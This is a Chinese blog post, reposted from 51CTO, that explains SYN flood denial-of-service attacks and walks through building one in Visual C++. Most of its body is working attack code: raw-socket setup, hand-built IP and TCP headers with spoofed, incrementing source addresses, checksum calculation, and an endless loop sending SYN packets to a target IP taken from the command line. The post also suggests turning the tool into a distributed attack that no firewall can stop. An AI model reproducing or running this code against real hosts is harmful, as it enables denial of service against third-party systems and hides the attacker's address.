用VC实现洪水攻击程序

简介:
一、              什么是洪水攻击
洪水之猛、势不可挡。如果将洪水比作对计算机的攻击,那大家可以想象得出,攻击是多的猛烈。
在安全领域所指的洪水攻击是指向目标机器发送大量无用的数据包,使得目标机器忙于处理这些无用的数据包,而无法处理正常的数据包。在攻击过程中,目标机器的CPU 的使用率将高于正常值,有时甚至会达到100% 。这样将使目标机器的性能急剧下降。这有些象我们在日常生活中的电话,如果要使某个电话瘫痪,就不停地拨这个电话的号码,那么其它的电话就无法拨通这个电话,当然,要想不接到骚扰电话,唯一的方法是将电话线拔了。同样,要想计算机完全避免洪水攻击的唯一方法,就是不让这台计算机上网,更直接的就是将网线拔了。
二、              洪水攻击的原理
洪水攻击也称为拒绝服务攻击。可以有很多种方式进行这种攻击,本文主要讨论比较常用的利用TCP 三次握手的漏洞来耗尽计算机资源的方式来进行攻击。
那么什么是TCP 的三次握手呢?其实原理很简单。这要从TCP 的连接过程说起。我们一般使用Socket API 来进行TCP 连接。要做的只是将IP 或计算机名以及端口号传入connect 函数,如果参数正确,目标机器的服务可用的话,这个TCP 连接就会成功。之所以连接这么方便,是因为Socket API 已经将一些底层的操作隐藏了起来。那么这里面究竟发生了什么呢?
我们由网络7 层可知,在TCP 所在的传输层下面是网络层,在这一层最有代表性的协议就是IP 协议。而TCP 数据包就是通过IP 协议传输的。这就是我们为什么经常说TCP/IP 协议的缘故。TCP 在底层的连接并不是这么简单。在真正建立连接之前,必须先进行 验证。那么如何验证呢?
假设有两台机器A B A 使用TCP 协议连接B ,在建立连接之前,A 先发一个 报文给B B 在接收到这个数据包后,利用 报文中的源地址(也就是A IP )再给A 发一个 报文,A 在接到这个 报文后,又给B 发了一个 报文,B 如果成功接到这个报文后,就正式和A 建立TCP 连接。过程示意如图1 所示:
 
问题就出在第二次握手上。正常情况下,报文 的源地址应该是A IP ,但如果是一个非法 报文的话,报文的 源地址可能并不是A IP ,也许就是一个并不存在的IP 。如果是这样,那在第二次握手时,B 也就无法找到A 了,这当然就不可能发生第三次握手。因为,B 找不到A ,而A 又迟迟得不到B 的回信,这样TCP 就无法连接。但攻击者的目的并不是要建立TCP 连接,而是要耗尽B 的资源。由于B 找不到A B 也就无法得到A 的回信,如果这种情况发生,B 并不会将在第一次握手中建立的资源马上释放,而会有一个超时,假设这个时间是10 秒。如果A 在这10 秒内向B 发送10000 个这样的连接数据包,就意味着B 要维护这10000 个连接资源。如果过了10 秒,B 释放了这些资源,A 在下一个10 称还会发10000 个连接包。如果A 不断地发这样数据包,就意味着B 将永远要维护这10000 个连接,因此,B CPU 和内存将被耗尽,至少也得被占用大部分。所以B 就无法响应其它机器的请求,或者是响应迟缓。
洪水攻击的实现
在上一部分我们讨论了洪水攻击原理,在这一部分我将给出一个完成的实例说明如何使用C 语言来设计洪水攻击程序。
由于 报文是用IP 协议发送的,因此,我们需要自己定义IP 数据包的数据结构,这样我们就可以任意修改IP 数据包的内容了。下面是IP 协议的数据结构。
typedef  struct  _iphdr    // 定义IP首部 

  unsigned 
char  h_verlen;   // 4位首部长度,4位IP版本号 
  unsigned  char  tos;   // 8位服务类型TOS 
  unsigned  short  total_len;   // 16位总长度(字节) 
  unsigned  short  ident;   // 16位标识 
  unsigned  short  frag_and_flags;   // 3位标志位 
  unsigned  char  ttl;  // 8位生存时间 TTL 
  unsigned  char  proto;  // 8位协议 (TCP, UDP 或其他) 
  unsigned  short  checksum;  // 16位IP首部校验和 
  unsigned  int  sourceIP;  // 32位源IP地址 
  unsigned  int  destIP;  // 32位目的IP地址 
} IP_HEADER;
这个结构比较复杂,我们只看其中3 个,其余的成员可以参考《TCP/IP 详解 1 :协议》的相关部分。最后两个成员sourceIP destIP 就是上述所说的A B IP 。而最重要的就是checksum ,这个参数是一个验证码,用于验证发送的IP 数据包的正确性,我们把这个验证码称为校验和。计算它的函数如下:
USHORT checksum(USHORT  * buffer,  int  size) 

unsigned 
long  cksum = 0 ;  
  
while (size  > 1

  cksum
+=* buffer ++
size 
-= sizeof (USHORT); 
  } 
  
if (size ) 

  cksum 
+=   * (UCHAR * )buffer; 
  } 
  cksum 
=  (cksum  >>   16 +  (cksum  &   0xffff ); 
  cksum 
+=  (cksum  >> 16 ); 
  
return  (USHORT)( ~ cksum); 
}
看了上面的代码也许会有很多疑问,下面我就简单描述一下如何计算机IP 数据包的校验和。IP 数据包的校验和是根据IP 首部计算机出来的,而并不对IP 数据包中的数据部分进行计算。为了计算一个数作为校验和,首先把校验和字段赋为0 。然后,对首部中每个16 位进行二进制白马反码求和(我们可以将整个IP 首部看成是由一组16 位的字组成),将结果保存在校验和字段中。当收到一份IP 数据报后,同样对首部中每个16 位进行二进制反码的求和。由于接收方在计算机过程中包含了发送方存在首部的校验和,因此,如果首部在传输过程中没有发生任何差错,那么接收方计算的结果应该全是1. 如果结果不全是1 (即校验和错误),那么IP 就丢弃收到的数据报。但不生成差错报文,由上层(如TCP 协议)去发现丢失的数据报并进行重传。
由于我们要发送假的TCP 连接包,因此,为分别定义一个伪TCP 首部和真正的TCP 首部。
struct    // 定义TCP伪首部 

  unsigned 
long  saddr;  // 源地址 
  unsigned  long  daddr;  // 目的地址 
   char  mbz; 
  
char  ptcl;  // 协议类型 
  unsigned  short  tcpl;  // TCP长度 
}  psd_header; 

typedef 
struct  _tcphdr   // 定义TCP首部 

  USHORT th_sport; 
// 16位源端口 
  USHORT th_dport;  // 16位目的端口 
  unsigned  int  th_seq;  // 32位序列号 
  unsigned  int  th_ack;  // 32位确认号 
  unsigned  char  th_lenres; // 4位首部长度/6位保留字 
  unsigned  char  th_flag; // 6位标志位 
  USHORT th_win;  // 16位窗口大小 
  USHORT th_sum;  // 16位校验和 
  USHORT th_urp;  // 16位紧急数据偏移量 
} TCP_HEADER;
在以上的准备工作都完成后,就可以写main 函数中的内容了。下面是程序的定义部分。
#include  < winsock2.h >  
#include 
< Ws2tcpip.h >  
#include 
< stdio.h >  
#include 
< stdlib.h >  
#define  SEQ 0x28376839 
#define  SYN_DEST_IP "127.0.0.1" // 被攻击的默认IP 
#define  FAKE_IP "10.168.150.1"  // 伪装IP的起始值,可以是任意IP 
#define  STATUS_FAILED 0xFFFF // 错误返回值
int  main( int  argc,  char   ** argv) 

  
int  datasize,ErrorCode,counter,flag,FakeIpNet,FakeIpHost; 
  
int  TimeOut = 2000 ,SendSEQ = 0
  
char  SendBuf[ 128 ];   //  每个数据包是128个字节
   char  DestIP[ 16 ];   //  要攻击的机器IP,在这里就是B的IP
  memset(DestIP,  0 4 );  
//  如果通过参数输入个IP,将DestIP赋为这IP,否则SYN_DEST_IP赋给DestIP
   if (argc  <   2 )  
     strcpy(DestIP, SYN_DEST_IP);
  
else
     strcpy(DestIP, argv[
1 ]);
  
//  以下是声明Socket变量和相应的数据结构
  WSADATA wsaData; 
  SOCKET SockRaw
= (SOCKET)NULL; 
  
struct  sockaddr_in DestAddr; 
  IP_HEADER ip_header; 
  TCP_HEADER tcp_header;
… …
}
下一步就是初始化Raw Socket
  // 初始化SOCK_RAW 
   if ((ErrorCode = WSAStartup(MAKEWORD( 2 , 1 ), & wsaData)) != 0 )   //  使用Socket2.x版本

      fprintf(stderr,
" WSAStartup failed: %d\n " ,ErrorCode); 
      ExitProcess(STATUS_FAILED); 
  }   
SockRaw
= WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL, 0 ,WSA_FLAG_OVERLAPPED); 
if  (SockRaw == INVALID_SOCKET)   //  如果建立Socket错误,输出错误信息

  fprintf(stderr,
" WSASocket() failed: %d\n " ,WSAGetLastError()); 
  ExitProcess(STATUS_FAILED);
  } 
  第二步就是填充刚才定义的那些数据结构
// 设置IP_HDRINCL以自己填充IP首部 
  ErrorCode = setsockopt(SockRaw,IPPROTO_IP,IP_HDRINCL,( char   * ) & flag, sizeof ( int )); 
if  (ErrorCode == SOCKET_ERROR)printf( " Set IP_HDRINCL Error!\n " ); 
  __try{ 
  
// 设置发送超时 

  ErrorCode
= setsockopt(SockRaw,SOL_SOCKET,SO_SNDTIMEO,( char * ) & TimeOut, sizeof (TimeOut)); 
if (ErrorCode == SOCKET_ERROR)

   fprintf(stderr,
" Failed to set send TimeOut: %d\n " ,WSAGetLastError()); 
  __leave; 
  } 
  memset(
& DestAddr, 0 , sizeof (DestAddr)); 
  DestAddr.sin_family
= AF_INET; 
  DestAddr.sin_addr.s_addr
= inet_addr(DestIP); 
  FakeIpNet
= inet_addr(FAKE_IP); 
  FakeIpHost
= ntohl(FakeIpNet); 
  
// 填充IP首部 
  ip_header.h_verlen = ( 4 << 4   |   sizeof (ip_header) / sizeof (unsigned  long )); 
// 高四位IP版本号,低四位首部长度 
  ip_header.total_len = htons( sizeof (IP_HEADER) + sizeof (TCP_HEADER));  // 16位总长度(字节) 
  ip_header.ident = 1 // 16位标识 
  ip_header.frag_and_flags = 0 // 3位标志位 
  ip_header.ttl = 128 // 8位生存时间TTL 
  ip_header.proto = IPPROTO_TCP; // 8位协议(TCP,UDP…) 
  ip_header.checksum = 0 ; // 16位IP首部校验和 
  ip_header.sourceIP = htonl(FakeIpHost + SendSEQ); // 32位源IP地址 
  ip_header.destIP = inet_addr(DestIP);  // 32位目的IP地址 
  
// 填充TCP首部 
  tcp_header.th_sport = htons( 7000 ); // 源端口号 
  tcp_header.th_dport = htons( 8080 ); // 目的端口号 
  tcp_header.th_seq = htonl(SEQ + SendSEQ); // SYN序列号 
  tcp_header.th_ack = 0 // ACK序列号置为0 
  tcp_header.th_lenres = ( sizeof (TCP_HEADER) / 4 << 4 | 0 ); // TCP长度和保留位 
  tcp_header.th_flag = 2 // SYN 标志 
  tcp_header.th_win = htons( 16384 );  // 窗口大小 
  tcp_header.th_urp = 0 // 偏移 
  tcp_header.th_sum = 0 // 校验和 
  
// 填充TCP伪首部(用于计算校验和,并不真正发送) 
  psd_header.saddr = ip_header.sourceIP; // 源地址 
  psd_header.daddr = ip_header.destIP; // 目的地址 
  psd_header.mbz = 0
  psd_header.ptcl
= IPPROTO_TCP; // 协议类型 
  psd_header.tcpl = htons( sizeof (tcp_header)); // TCP首部长度

  最后一步是通过一个while循环发送向目标机器发送报文
  
while ( 1 )
 { 

  
// 每发送10000个报文输出一个标示符 
  printf( " . " ); 
  
for (counter = 0 ;counter < 10000 ;counter ++ ){ 
  
if (SendSEQ ++== 65536 ) SendSEQ = 1 ; // 序列号循环 
  
// 更改IP首部 
  ip_header.checksum = 0 ; // 16位IP首部校验和 
  ip_header.sourceIP = htonl(FakeIpHost + SendSEQ); // 32位源IP地址 
  
// 更改TCP首部 
  tcp_header.th_seq = htonl(SEQ + SendSEQ); // SYN序列号 
  tcp_header.th_sum = 0 // 校验和 
  
// 更改TCP Pseudo Header 
  psd_header.saddr = ip_header.sourceIP; 
  
// 计算TCP校验和,计算校验和时需要包括TCP pseudo header 
  memcpy(SendBuf, & psd_header, sizeof (psd_header)); 
  memcpy(SendBuf
+ sizeof (psd_header), & tcp_header, sizeof (tcp_header)); 
  tcp_header.th_sum
= checksum((USHORT * )SendBuf, sizeof (psd_header) + sizeof (tcp_header)); 
  
// 计算IP校验和 
  memcpy(SendBuf, & ip_header, sizeof (ip_header)); 
  memcpy(SendBuf
+ sizeof (ip_header), & tcp_header, sizeof (tcp_header)); 
  memset(SendBuf
+ sizeof (ip_header) + sizeof (tcp_header), 0 , 4 ); 
  datasize
= sizeof (ip_header) + sizeof (tcp_header); 
  ip_header.checksum
= checksum((USHORT  * )SendBuf,datasize); 
  
// 填充发送缓冲区 
  memcpy(SendBuf, & ip_header, sizeof (ip_header)); 
  
// 发送TCP报文 
  ErrorCode = sendto(SockRaw,  SendBuf,  datasize,   0 ,   ( struct  sockaddr * & DestAddr, 
  
sizeof (DestAddr)); 
if  (ErrorCode == SOCKET_ERROR) printf( " \nSend Error:%d\n " ,GetLastError()); 
}
}
到现在为止,我们已经完成了一个洪水攻击的控制台软件。本程序使用VC6.0 调试通过。感性趣的读者可以下载本文提供的完整代码。在Debug 目录中有一个exe 程序,synflooding.exe ,可以通过参数将目标IP 传入exe 。如synflooding 129.11.22.33 ,如果不带参数,默认就是本机(127.0.0.1 )。软件的运行界面如图2 所示,攻击后的CPU 使用情况如图3 如示。
 
 
 
3是我使用本机测试的结果,如果通过局域网攻击其它的机器,CPU未必能达到100%,但至少也在50%以上,可以使目标机器明显变慢。如果我们通过其它的黑客技术将这个程序改成分布式的洪水攻击,并降低每个单机攻击的频率。这样就算是再好的防火墙也无法防御。除非对方使用蜜罐等手段隐藏或设置虚假IP,否则这种最原始的攻击手段都会奏效。





 本文转自 androidguy 51CTO博客,原文链接:http://blog.51cto.com/androidguy/215082 ,如需转载请自行联系原作者
相关文章
|
4月前
|
安全 数据安全/隐私保护
某健康学校网站被植入传播Trojan-Downloader.Win32.Delf.bho的代码
某健康学校网站被植入传播Trojan-Downloader.Win32.Delf.bho的代码
|
4月前
|
安全 网络协议
ARP病毒自动加入传播Trojan.PSW.Win32.OnlineGames的代码
ARP病毒自动加入传播Trojan.PSW.Win32.OnlineGames的代码
一个VC写的完整、简单的Sniffer代码
一个VC写的完整、简单的Sniffer代码
|
4月前
|
安全
一个利用real,联众游戏程序漏洞,MS06-014传播机器狗/fa.exe的网站
一个利用real,联众游戏程序漏洞,MS06-014传播机器狗/fa.exe的网站
|
安全 Linux 网络安全
MS17-010永恒之蓝漏洞利用,win32安装,windows 7 32位(一)
MS17-010永恒之蓝漏洞利用,win32安装,windows 7 32位
MS17-010永恒之蓝漏洞利用,win32安装,windows 7 32位(一)
|
安全 Windows
红蓝对抗之致盲 Windows defender(二)
红蓝对抗之致盲 Windows defender
416 0
|
机器学习/深度学习 安全 PHP
红蓝对抗之致盲 Windows defender(一)
红蓝对抗之致盲 Windows defender
390 0
|
安全 Shell Linux
MS17-010永恒之蓝漏洞利用,win32安装,windows 7 32位(二)
MS17-010永恒之蓝漏洞利用,win32安装,windows 7 32位
MS17-010永恒之蓝漏洞利用,win32安装,windows 7 32位(二)
|
Web App开发 安全 Android开发
Windows 7成为Pwn2own黑客挑战赛目标
Windows 7近日颇受众人欢迎,一年一度的美国黑客挑战赛也将目光瞄向了Windows 7,据悉,下月16号于温哥华举行的CanSecWest 2009大会中的Pwn2own竞赛将包括入侵Windows 7系统下的浏览器以及破解智能手机操作系统。
652 0
|
监控 安全 机器人
10大最危险IT技术 病毒和Windows纳米上榜
据国外媒体报道,英国知名IT网站Vnunet日前评出了10大最危险的IT技术,计算机病毒和Windows操作系统等纷纷上榜。 几乎任何技术都具有两面性,在有利于社会发展的同时,也可能对社会造成莫大伤害。
1169 0